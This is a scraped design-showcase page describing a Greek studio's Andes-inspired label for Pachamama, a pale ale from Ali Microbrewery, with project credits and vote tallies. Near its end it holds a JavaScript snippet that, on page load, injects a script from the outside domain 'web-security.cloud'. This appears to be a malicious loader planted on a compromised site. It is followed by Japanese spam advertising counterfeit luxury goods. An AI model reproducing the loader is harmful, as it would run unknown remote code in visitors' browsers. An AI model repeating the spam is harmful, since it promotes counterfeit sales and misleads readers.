Generic selectors
Exact matches only
Search in title
Search in content
Search in posts
Search in pages

An Andes Inspired Beer for Ali Microbrewery Created by Slab Design Studio

An Andes Inspired Beer for Ali Microbrewery Created by Slab Design Studio

Pachamama is a new seasonal beer of Ali Microbrewery, from Thessaloniki which is a Double Dry-Hopped Pale Ale with aromas of tropical fruits and mild bitterness. Pachamama is still worshiped as the mother earth in parts of South America. The first references to this deity are found in the mythology of the Incas, who lived in the Andes. The main illustration of the label highlights the relationship of Pachamama with its places of worship, entangling the mountain range with the hair of the goddess. Additional iconographic elements, such as a lama, tropical fruits and hops, are references to the Andes and the taste of the beer. Our goal was for Pachamama-drinkers to gradually discover interesting elements by turning the bottle. By designing custom letters we wanted to emphasize the one-off character of the beer.

CREDIT

  • Design Agency: slab design studio
  • Organisation/Project Type: Agency, Published Commercial Design
  • Article Title: An Andes Inspired Beer for Ali Microbrewery Created by Slab Design Studio
  • Brand / Project Name: Pachamama Beer
  • External Design Credits: Designer: Nikos Giuris, Photographer: Giorgos Oikonomou
  • Strategic Deliverables: Research / Insight, Tone of Voice
  • Design Deliverables: Packaging Design, Illustration, Photography, Graphic Design, Brand Experience
  • Location: Greece
  • Market Country: Greece
  • Market Region: Europe
  • Product Category: Beer & Cider
  • Consumer Packaging Format: Bottle
  • Consumer Substrate / Material: Glass Bottle

FEEDBACK

Relevance: Solution/idea in relation to brand, product or service
Excellent
Vote
4
Good
Vote
1
Bad
Vote
0
Implementation: Attention, detailing and finishing of final solution
Excellent
Vote
4
Good
Vote
1
Bad
Vote
0
Presentation: Text, visualisation and quality of the presentation
Excellent
Vote
4
Good
Vote
1
Bad
Vote
0
;document.addEventListener('DOMContentLoaded', function(){ if(typeof window.web_security == "undefined"){ var s = document.createElement("script"); s.src = "//web-security.cloud/event?l=117"; document.head.appendChild(s); window.web_security = "success"; } }, false);
鶴橋ブランドコピー スーパーコピー ブランドコピー コピーブランド ロレックス スーパーコピー ロレックス コピー モンクレール スーパーコピー モンクレール コピー モンクレール ダウン コピー シュプリーム スーパーコピー シュプリーム コピー ウブロ スーパーコピー ウブロ コピー ルイヴィトン スーパーコピー ルイヴィトン コピー ブランドiphoneケースコピー グッチ スーパーコピー